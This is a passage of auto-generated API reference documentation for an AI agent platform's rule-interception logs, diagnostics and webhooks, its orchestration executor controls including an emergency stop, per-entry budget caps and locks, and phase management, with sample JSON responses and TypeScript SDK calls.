**SDK**

```ts
await client.agent.sessionMitmTags.patchSessionMitmTags({
  workspaceID: "ws_abc123",
  sessionID: "sess_xyz",
  data: { tags: ["review", "destructive"] },
});
```

## Cooldowns & Logs

### `GET /api/v1/workspaces/{workspaceID}/mitm/cooldowns`

Returns the list of active per-(rule, session) cooldowns currently in effect for this scope.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |



```json
[
  {
    "ruleId": "notify-on-write",
    "sessionID": "sess_xyz",
    "lastFiredAt": 1730000040000
  },
  {
    "ruleId": "inject-safety-prompt",
    "sessionID": "sess_abc",
    "lastFiredAt": 1730000055000
  }
]
```



**SDK**

```ts
const cooldowns = await client.agent.workspaceMitmCooldowns.listWorkspaceMitmCooldowns({
  workspaceID: "ws_abc123",
});
```

### `GET /api/v1/workspaces/{workspaceID}/mitm/logs`

Returns a paginated, redacted projection of the MITM log scoped to this workspace. Pass `sessionID` to filter by session.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `page` | query | integer | No | Page number (Default: `1`) |
| `limit` | query | integer | No | Items per page (Default: `50`) |
| `sessionID` | query | string | No | Filter entries by session id |



```json
{
  "items": [
    {
      "id": "log_01HXYZ",
      "ruleId": "notify-on-write",
      "ruleName": "Notify on file write",
      "event": "tool.execute.before",
      "sessionID": "sess_xyz",
      "messageID": "msg_001",
      "timestamp": 1730000040000,
      "status": "success",
      "durationMs": 12,
      "actionType": "notification",
      "rule": {
        "id": "notify-on-write",
        "name": "Notify on file write",
        "enabled": true,
        "severity": "info",
        "trigger": {
          "event": "tool.execute.before",
          "tags": [],
          "toolName": "Write"
        },
        "action": {
          "type": "notification",
          "title": "File write",
          "body": "Tool Write is about to run."
        },
        "cooldownMs": 0,
        "maxDepth": 1,
        "blocking": false
      },
      "context": {
        "sessionTitle": "Refactor auth",
        "tags": ["review"],
        "directory": "/home/user/project",
        "projectID": "proj_1",
        "depth": 0,
        "toolName": "Write",
        "messageRole": "assistant"
      },
      "scope": "ws_abc123",
      "seq": 142,
      "processEpoch": 7,
      "severity": "info"
    }
  ],
  "meta": {
    "page": 1,
    "limit": 50,
    "total": 1,
    "pages": 1
  }
}
```



**SDK**

```ts
const logs = await client.agent.workspaceMitmLogsPaginated.listWorkspaceMitmLogsPaginated({
  workspaceID: "ws_abc123",
  page: 1,
  limit: 50,
  sessionID: "sess_xyz",
});
```

### `GET /api/v1/workspaces/{workspaceID}/mitm/logs/{id}`

Returns the redacted projection of a single MITM log entry. Set the request header `Hoody-MITM-Include-Secrets: 1` to receive the unredacted entry.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `id` | path | string | Yes | Log entry identifier |



```json
{
  "id": "log_01HXYZ",
  "ruleId": "notify-on-write",
  "ruleName": "Notify on file write",
  "event": "tool.execute.before",
  "sessionID": "sess_xyz",
  "messageID": "msg_001",
  "timestamp": 1730000040000,
  "status": "success",
  "durationMs": 12,
  "actionType": "notification",
  "rule": {
    "id": "notify-on-write",
    "name": "Notify on file write",
    "enabled": true,
    "severity": "info",
    "trigger": {
      "event": "tool.execute.before",
      "tags": [],
      "toolName": "Write"
    },
    "action": {
      "type": "notification",
      "title": "File write",
      "body": "Tool Write is about to run."
    },
    "cooldownMs": 0,
    "maxDepth": 1,
    "blocking": false
  },
  "context": {
    "sessionTitle": "Refactor auth",
    "tags": ["review"],
    "directory": "/home/user/project",
    "projectID": "proj_1",
    "depth": 0,
    "toolName": "Write",
    "messageRole": "assistant"
  },
  "scope": "ws_abc123",
  "seq": 142,
  "processEpoch": 7,
  "severity": "info"
}
```


```json
{
  "description": "Entry not found"
}
```



**SDK**

```ts
const entry = await client.agent.workspaceMitmLogEntry.getWorkspaceMitmLogEntry({
  workspaceID: "ws_abc123",
  id: "log_01HXYZ",
});
```

## Validation & Plugins

### `GET /api/v1/workspaces/{workspaceID}/mitm/validation-rules`

Returns the discriminated-union list of validation rules the server applies to MITM rules on top of the Zod structural schema. SDK consumers can use this metadata to implement matching client-side validation.


This endpoint is pure metadata — no auth, no scope binding.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |



```json
[
  {
    "type": "regex",
    "field": "id",
    "pattern": "^[a-z0-9][a-z0-9-]{2,62}$",
    "flags": "i",
    "message": "Rule id must be 3-63 chars, lowercase letters, digits, or hyphens"
  },
  {
    "type": "range",
    "field": "cooldownMs",
    "min": 0,
    "max": 86400000,
    "message": "cooldownMs must be between 0 and 24h"
  },
  {
    "type": "enum",
    "field": "severity",
    "values": ["info", "warn", "error", "critical"],
    "message": "severity must be one of info, warn, error, critical"
  },
  {
    "type": "depends-on",
    "field": "trigger.toolName",
    "requires": "trigger.event",
    "when": "tool.execute.before",
    "message": "toolName requires trigger.event to be a tool event"
  },
  {
    "type": "max-length",
    "field": "name",
    "max": 80,
    "message": "Rule name must be at most 80 characters"
  }
]
```



**SDK**

```ts
const validators = await client.agent.workspaceMitmValidationRules.listWorkspaceMitmValidationRules({
  workspaceID: "ws_abc123",
});
```

### `GET /api/v1/workspaces/{workspaceID}/mitm/plugin-descriptors`

Returns plugin metadata in registration order, including `id`, `source`, declared `hooks`, declared `tools`, and the `auth` provider name.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |



```json
[
  {
    "id": "hoody-builtin-notifier",
    "source": "internal",
    "exportName": "default",
    "packageName": "@hoody/plugin-notifier",
    "packageVersion": "1.4.2",
    "hooks": ["onRuleFire", "onSessionIdle"],
    "tools": ["sendDesktopNotification"],
    "auth": "none"
  },
  {
    "id": "user-slack-relay",
    "source": "npm",
    "exportName": "SlackRelay",
    "packageName": "@acme/hoody-slack-relay",
    "packageVersion": "0.9.0",
    "hooks": ["onRuleFire"],
    "tools": ["postToSlack"],
    "auth": "oauth2"
  }
]
```



**SDK**

```ts
const plugins = await client.agent.workspaceMitmPluginDescriptors.listWorkspaceMitmPluginDescriptors({
  workspaceID: "ws_abc123",
});
```

## Overlay & Webhooks

### `POST /api/v1/workspaces/{workspaceID}/mitm/overlay/reset`

Drops the entire overlay for this scope — every overlay entry, including tags, rules, deletions, and `enabledOverride` values. Effective state reverts to base config only.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

This endpoint accepts no body.



```json
{
  "description": "Overlay cleared"
}
```


```json
{
  "error": "If-Match did not match current overlay revision"
}
```


```json
{
  "error": "If-Match header is required for overlay writes"
}
```



**SDK**

```ts
await client.agent.reset.resetWorkspaceMitmOverlay({
  workspaceID: "ws_abc123",
});
```

### `POST /api/v1/workspaces/{workspaceID}/mitm/overlay/rebase`

For every overlay rule whose `baseContentHash` has drifted, recompute the merged rule against the new base. On success, all `baseContentHash` values are refreshed. If a merged rule fails validation (e.g. the base rule's type changed under you), the server returns `409` with the failed rule and a diff.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

This endpoint accepts no body.



```json
{
  "description": "Rebase completed"
}
```


```json
{
  "description": "Conflict — merged rule fails validation"
}
```


```json
{
  "description": "Optimistic-concurrency conflict"
}
```


```json
{
  "description": "Missing If-Match header"
}
```



**SDK**

```ts
await client.agent.rebase.rebaseWorkspaceMitmOverlay({
  workspaceID: "ws_abc123",
});
```

### `POST /api/v1/workspaces/{workspaceID}/mitm/webhooks/verify`

Dispatches a one-shot webhook via `safeFetch` and returns the response status plus a redacted summary. Use this to confirm that a URL and its auth headers work before saving a rule that targets that URL.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `url` | string | Yes | The webhook URL to test |
| `method` | string | No | One of `POST`, `GET` (Default: `"POST"`) |
| `headers` | object | No | Additional request headers (string-to-string map) |
| `bodyJson` | object | No | JSON body to send |



```json
{
  "url": "https://example.com/hooks/hoody",
  "method": "POST",
  "headers": {
    "Authorization": "Bearer test-token"
  },
  "bodyJson": {"ping": true}
}
```


```json
{
  "description": "Diagnostic result"
}
```



**SDK**

```ts
await client.agent.verify.verifyWorkspaceMitmWebhook({
  workspaceID: "ws_abc123",
  data: {
    url: "https://example.com/hooks/hoody",
    method: "POST",
    headers: { Authorization: "Bearer test-token" },
    bodyJson: { ping: true },
  },
});
```

## Events & Diagnostics

### `GET /api/v1/workspaces/{workspaceID}/mitm/events`

Server-Sent Events stream of `MitmLog.Event.RuleFired` filtered to this scope.


Each event carries an `id` formatted as `&lt;processEpoch&gt;:&lt;seq&gt;`. Reconnect with `Last-Event-ID`; if the epoch on the resume event does not match the running process, treat it as a restart. Fresh subscribers receive only future events — there is no replay. The stream emits a synthetic `connected` event on connect and closes with `error: scope_changed` if `Instance.directory` drift is detected. Rebinds are not supported within a single connection.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |



```http
HTTP/1.1 200 OK
Content-Type: text/event-stream

event: connected
id: 7:0
data: {"scope":"ws_abc123","processEpoch":7}

event: rule_fired
id: 7:142
data: {"ruleId":"notify-on-write","sessionID":"sess_xyz","event":"tool.execute.before","timestamp":1730000040000}

event: rule_fired
id: 7:143
data: {"ruleId":"notify-on-write","sessionID":"sess_xyz","event":"tool.execute.before","timestamp":1730000041000}
```



**SDK**

```ts
await client.agent.events.streamWorkspaceMitmEvents({
  workspaceID: "ws_abc123",
});
```

### `POST /api/v1/workspaces/{workspaceID}/mitm/diagnostics/dry-run`

Simulates rule firing against the current snapshot for a synthetic event. Returns the matched rules and each rule's cooldown status. Pure read-only — no actions are executed.

### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `event` | string | Yes | One of `session.created`, `session.idle`, `session.error`, `chat.message`, `tool.execute.before`, `tool.execute.after`, `chat.system.transform` |
| `sessionTags` | array | No | Tags on the synthetic session (Default: `[]`) |
| `depth` | integer | No | Recursion depth for the synthetic event (Default: `0`) |
| `toolName` | string | No | Tool name for `tool.execute.*` events |
| `role` | string | No | One of `user`, `assistant` |
| `messageContent` | string | No | Message content for `chat.message` |



```json
{
  "event": "tool.execute.before",
  "sessionTags": ["review"],
  "depth": 0,
  "toolName": "Bash"
}
```


```json
{
  "description": "Match diagnostic"
}
```



**SDK**

```ts
const result = await client.agent.dryRun.diagnoseWorkspaceMitmDryRun({
  workspaceID: "ws_abc123",
  data: {
    event: "tool.execute.before",
    sessionTags: ["review"],
    depth: 0,
    toolName: "Bash",
  },
});
```

### `POST /api/v1/workspaces/{workspaceID}/mitm/diagnostics/match-trace`

Same shape as the dry-run endpoint, but reports WHY each rule did or did not match — at every filter stage (`event`, `depth`, `tags`, `toolName`, `role`, `contentMatch`, `overlayState`). Pure read-only on the snapshot.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `event` | string | Yes | One of `session.created`, `session.idle`, `session.error`, `chat.message`, `tool.execute.before`, `tool.execute.after`, `chat.system.transform` |
| `sessionTags` | array | No | Tags on the synthetic session (Default: `[]`) |
| `depth` | integer | No | Recursion depth for the synthetic event (Default: `0`) |
| `toolName` | string | No | Tool name for `tool.execute.*` events |
| `role` | string | No | One of `user`, `assistant` |
| `messageContent` | string | No | Message content for `chat.message` |



```json
{
  "event": "chat.message",
  "sessionTags": ["review"],
  "depth": 0,
  "role": "user",
  "messageContent": "Please delete the staging database."
}
```


```json
{
  "description": "Per-rule trace"
}
```



**SDK**

```ts
const trace = await client.agent.matchTrace.diagnoseWorkspaceMitmMatchTrace({
  workspaceID: "ws_abc123",
  data: {
    event: "chat.message",
    sessionTags: ["review"],
    depth: 0,
    role: "user",
    messageContent: "Please delete the staging database.",
  },
});
```

---

# Orchestration: Executor & Budget

**Page:** api/agent/orchestration/executor-budget

[Download Raw Markdown](./api/agent/orchestration/executor-budget.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Orchestration: Executor & Budget

Control the agent orchestration dispatcher and enforce project-level budget limits. These endpoints let you start, pause, resume, and stop the executor's dispatch loop, manage individual worker sessions, inspect file locks, force dispatch cycles with diagnostics, and track per-entry spend against a global cap.

Use these endpoints when you need to intervene in a running orchestration workflow — for example, pausing dispatch to make manual code changes, locking a specific entry's budget so the orchestrator cannot reallocate it, or auditing how much each entry has spent.

---

## Executor Control

### `POST /api/v1/workspaces/{workspaceID}/orchestration/executor/start`

Start the executor dispatch loop for the workspace. Once started, the executor begins picking up eligible entries and assigning worker sessions.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "started": true
}
```



#### SDK Usage

```ts
await client.agent.orchestration.executorStart({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/executor/pause`

Pause executor dispatching. In-flight workers continue running, but no new dispatches will occur until you call [resume](#post-apiv1workspacesworkspaceidorchestrationexecutorsume).

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Response



```json
{
  "paused": true
}
```



#### SDK Usage

```ts
await client.agent.orchestration.executorPause({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/executor/resume`

Resume executor dispatching after a previous pause.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "resumed": true
}
```



#### SDK Usage

```ts
await client.agent.orchestration.executorResume({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/executor/stop-all`

Stop all active worker sessions and pause the executor. Useful as an emergency stop when something is going wrong and you need to halt all activity immediately.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Response



```json
{
  "stopped": true
}
```



#### SDK Usage

```ts
await client.agent.orchestration.executorStopAll({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/executor/workers/{sessionID}/stop`

Stop a specific worker session by its session ID. The executor remains in its current state (paused or running) — this only terminates the targeted session.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Worker session identifier to stop |

#### Response



```json
{
  "stopped": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Worker session not found"
  }
}
```



#### SDK Usage

```ts
await client.agent.orchestration.executorStopWorker({
  workspaceID: "ws_8f3a2b1c9d4e5f6a",
  sessionID: "sess_4j6h8g2f1d9s7a5b"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/executor/force-dispatch`

Force an immediate dispatch cycle regardless of schedule, and return detailed diagnostics about the executor's internal state. Useful for debugging stuck workflows.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "dispatched": true,
  "diagnostics": {
    "state": "running",
    "paused": false,
    "initialized": true,
    "trackedSessions": 3,
    "activeSessions": 2,
    "dispatchingCount": 1,
    "entries": {
      "total": 12,
      "pending": 4,
      "blocked": 1,
      "inProgress": 2,
      "done": 4,
      "failed": 1
    },
    "readyToDispatch": 3,
    "blockedReasons": [
      "budget_exceeded"
    ]
  }
}
```



#### SDK Usage

```ts
await client.agent.orchestration.executorForceDispatch({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

## Executor Status & Inspection

### `GET /api/v1/workspaces/{workspaceID}/orchestration/executor/status`

Get the current executor state and the number of active workers.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "state": "running",
  "paused": false,
  "activeWorkers": 2
}
```



#### SDK Usage

```ts
const status = await client.agent.orchestration.executorGetStatus({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/orchestration/executor/workers`

List all active worker sessions along with their entry assignments and current phase/status.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Response



```json
{
  "workers": [
    {
      "sessionID": "sess_4j6h8g2f1d9s7a5b",
      "entryID": "entry_7k9m2n4p8q1r3s5t",
      "phase": "implementation",
      "status": "running"
    },
    {
      "sessionID": "sess_2b4d6f8h1j3l5n7p",
      "entryID": "entry_9r1s3t5u7w9y1a3c",
      "phase": "verification",
      "status": "running"
    }
  ]
}
```



#### SDK Usage

```ts
const { workers } = await client.agent.orchestration.executorGetWorkers({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/orchestration/executor/locks`

Get the current set of file locks held per entry. Locks prevent concurrent workers from editing the same files.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "entry_7k9m2n4p8q1r3s5t": [
    "src/api/handlers.ts",
    "src/api/types.ts"
  ],
  "entry_9r1s3t5u7w9y1a3c": [
    "src/utils/validation.ts"
  ]
}
```



#### SDK Usage

```ts
const locks = await client.agent.orchestration.executorGetLocks({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/executor/entries/{entryID}/reverify`

Re-run verification only, skipping the worker implementation phase. Resets `rounds_completed` and triggers verification using the last worker session's output. Useful when code was manually fixed outside the worker loop.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Entry identifier to reverify |

#### Response



```json
{
  "ok": true
}
```


```json
{
  "data": {},
  "errors": [
    {
      "propertyNames": ["entryID"],
      "message": "Entry has no prior worker session to reverify"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry not found"
  }
}
```



#### SDK Usage

```ts
const result = await client.agent.orchestration.executorReverifyEntry({
  workspaceID: "ws_8f3a2b1c9d4e5f6a",
  entryID: "entry_7k9m2n4p8q1r3s5t"
});
```

---

## Budget Management

### `GET /api/v1/workspaces/{workspaceID}/orchestration/budget`

Get the global budget status including the overall cap, total spent, and a per-entry breakdown of spend, budget, and round-level costs.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "global": {
    "total_budget_usd": 500,
    "max_project_spend_usd": 450,
    "entries_spent_usd": 187.42,
    "orchestrator_spent_usd": 23.18,
    "expansion_spent_usd": 8.55,
    "interceptor_spent_usd": 4.12,
    "total_spent_usd": 223.27
  },
  "entries": [
    {
      "entryID": "entry_7k9m2n4p8q1r3s5t",
      "budget_usd": 50,
      "budget_human_locked": true,
      "spent_usd": 47.83,
      "interceptor_spent_usd": 1.21,
      "rounds": [
        {
          "round": 1,
          "cost": 12.34,
          "improvement_score": 0.42
        },
        {
          "round": 2,
          "cost": 15.67,
          "improvement_score": 0.31
        },
        {
          "round": 3,
          "cost": 19.82,
          "improvement_score": 0.18
        }
      ]
    }
  ]
}
```



#### SDK Usage

```ts
const budget = await client.agent.orchestration.budgetGetStatus({
  workspaceID: "ws_8f3a2b1c9d4e5f6a"
});
```

---

### `PATCH /api/v1/workspaces/{workspaceID}/orchestration/budget`

Update the global budget — specifically the `max_project_spend_usd` ceiling that caps the total spend across the entire workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `max_project_spend_usd` | number | Yes | New maximum project spend in USD (must be `&ge;` 0) |

```json
{
  "max_project_spend_usd": 600
}
```

#### Response



```json
{
  "total_budget_usd": 500,
  "max_project_spend_usd": 600,
  "entries_spent_usd": 187.42,
  "orchestrator_spent_usd": 23.18,
  "expansion_spent_usd": 8.55,
  "interceptor_spent_usd": 4.12,
  "total_spent_usd": 223.27
}
```



#### SDK Usage

```ts
const updated = await client.agent.orchestration.budgetUpdateGlobal({
  workspaceID: "ws_8f3a2b1c9d4e5f6a",
  data: {
    max_project_spend_usd: 600
  }
});
```

---

### `PATCH /api/v1/workspaces/{workspaceID}/orchestration/budget/entries/{entryID}`

Edit the budget for a specific entry. Setting a new budget also sets `budget_human_locked` to `true`, preventing the orchestrator from automatically reallocating the entry's spend.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Entry identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `budget_usd` | number | Yes | New budget for the entry in USD (must be `&ge;` 0) |

```json
{
  "budget_usd": 75
}
```

#### Response



```json
{
  "entryID": "entry_7k9m2n4p8q1r3s5t",
  "budget_usd": 75,
  "locked": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry not found"
  }
}
```



#### SDK Usage

```ts
const result = await client.agent.orchestration.budgetEdit({
  workspaceID: "ws_8f3a2b1c9d4e5f6a",
  entryID: "entry_7k9m2n4p8q1r3s5t",
  data: {
    budget_usd: 75
  }
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/budget/entries/{entryID}/lock`

Toggle the `budget_human_locked` flag on an entry. When locked, the orchestrator will not automatically adjust the entry's budget allocation.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Entry identifier |

#### Response



```json
{
  "entryID": "entry_7k9m2n4p8q1r3s5t",
  "locked": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry not found"
  }
}
```



#### SDK Usage

```ts
const result = await client.agent.orchestration.budgetLock({
  workspaceID: "ws_8f3a2b1c9d4e5f6a",
  entryID: "entry_7k9m2n4p8q1r3s5t"
});
```


The `getLocks` endpoint returns file locks (concurrency control), while the `budgetLock` endpoint toggles budget locks (spend control). Despite the similar name, they govern different concerns.

---

# Orchestration: Phases & Orchestrator Sessions

**Page:** api/agent/orchestration/phases-sessions

[Download Raw Markdown](./api/agent/orchestration/phases-sessions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Phases & Orchestrator Sessions

A workspace's master todo is decomposed into ordered **phases**, each grouping related entries into a sequential execution unit with its own rounds budget, memory notes, and orchestrator session. Orchestrator sessions drive the planning and per-phase execution flow: the top-level planning session coordinates across phases, and each phase has its own session that agents resume as rounds progress.

Use these endpoints to inspect phase state, manage memory notes, trigger review/verification cycles, update rounds budgets and status, and send prompts to the orchestrator or a specific phase's session.

---

## Phase Management

### `GET /api/v1/workspaces/{workspaceID}/orchestration/phases`

Returns the full ordered list of phases defined in the workspace's master todo. Phases are returned in `seq` order; the list is bounded by the workspace's phase count (typically &lt; 20) and is not paginated. Entries inside each phase are omitted — call `GET /phases/{phaseID}` to fetch them.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "phases": [
    {
      "id": "phs_01HXYZABCDEF",
      "seq": 0,
      "name": "Scaffold project structure",
      "status": "pending",
      "phase_rounds": 3,
      "container_id": "ctr_01HXYZABCDEF"
    },
    {
      "id": "phs_01HXYZGHIJKL",
      "seq": 1,
      "name": "Implement core API endpoints",
      "status": "active",
      "phase_rounds": 8,
      "container_id": "ctr_01HXYZABCDEF"
    }
  ]
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.phasesList({
  workspaceID: "ws_01HXYZABCDEF",
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}`

Returns the full detail for a single phase, including its entries.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Response



```json
{
  "id": "phs_01HXYZGHIJKL",
  "seq": 1,
  "name": "Implement core API endpoints",
  "description": "Build REST handlers for /containers and /tasks modules.",
  "status": "active",
  "phase_rounds": 8,
  "container_id": "ctr_01HXYZABCDEF",
  "entries": [
    {
      "id": "ent_01HXYZENTRY01",
      "seq": 0,
      "done": true
    },
    {
      "id": "ent_01HXYZENTRY02",
      "seq": 1,
      "done": false
    }
  ]
}
```



#### SDK usage

```typescript
const phase = await client.agent.orchestration.phasesGet({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/phases`

Creates one or more phases in the workspace's master todo.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `phases` | array | Yes | Array of phase objects to create |
| `phases[].name` | string | Yes | Human-readable phase name |
| `phases[].description` | string | Yes | Phase description |
| `phases[].entry_ids` | array of strings | No | IDs of existing todo entries to include in this phase |
| `phases[].phase_rounds` | number | No | Rounds budget for this phase |
| `phases[].container_id` | string | No | Execution container for this phase |

```json
{
  "phases": [
    {
      "name": "Scaffold project structure",
      "description": "Initialize repository, configure CI, and add base configuration files.",
      "phase_rounds": 3,
      "container_id": "ctr_01HXYZABCDEF"
    },
    {
      "name": "Implement core API endpoints",
      "description": "Build REST handlers for /containers and /tasks modules.",
      "entry_ids": ["ent_01HXYZENTRY01", "ent_01HXYZENTRY02"],
      "phase_rounds": 8
    }
  ]
}
```

#### Response



```json
{
  "created": [
    {
      "id": "phs_01HXYZNEW001",
      "seq": 0,
      "name": "Scaffold project structure",
      "status": "pending",
      "phase_rounds": 3
    },
    {
      "id": "phs_01HXYZNEW002",
      "seq": 1,
      "name": "Implement core API endpoints",
      "status": "pending",
      "phase_rounds": 8
    }
  ]
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.phasesCreate({
  workspaceID: "ws_01HXYZABCDEF",
  data: {
    phases: [
      {
        name: "Scaffold project structure",
        description: "Initialize repository, configure CI, and add base configuration files.",
        phase_rounds: 3,
        container_id: "ctr_01HXYZABCDEF",
      },
    ],
  },
});
```

---

### `DELETE /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}`

Deletes a phase. Entries that were assigned to the phase are **unphased** (returned to the unassigned pool), not deleted.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Response



```json
{
  "deleted": true,
  "phaseID": "phs_01HXYZGHIJKL"
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Phase not found"
  }
}
```


```json
{
  "error": "Phase is currently active and cannot be deleted",
  "code": "session_busy"
}
```



#### SDK usage

```typescript
await client.agent.orchestration.phasesDelete({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
});
```

---

## Phase Entries

### `POST /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/entries`

Adds an existing todo entry to a phase. Entries remain globally addressable; this just assigns them to a phase's execution group.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `entryID` | string | Yes | Identifier of the entry to add |

```json
{
  "entryID": "ent_01HXYZENTRY03"
}
```

#### Response



```json
{
  "phaseID": "phs_01HXYZGHIJKL",
  "entryID": "ent_01HXYZENTRY03",
  "added": true
}
```



#### SDK usage

```typescript
await client.agent.orchestration.phasesAddEntry({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
  data: {
    entryID: "ent_01HXYZENTRY03",
  },
});
```

---

## Phase Memory

Memory notes are short textual observations written by agents during execution (decisions, gotchas, follow-ups) and are carried across rounds so later agents can read the full context.

### `GET /api/v1/workspaces/{workspaceID}/orchestration/phases/memory`

Returns memory notes for every phase in the workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "phases": [
    {
      "phaseID": "phs_01HXYZABCDEF",
      "notes": [
        {
          "text": "Chose Postgres over SQLite for multi-writer support."
        }
      ]
    },
    {
      "phaseID": "phs_01HXYZGHIJKL",
      "notes": []
    }
  ]
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.phasesGetAllMemory({
  workspaceID: "ws_01HXYZABCDEF",
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/memory`

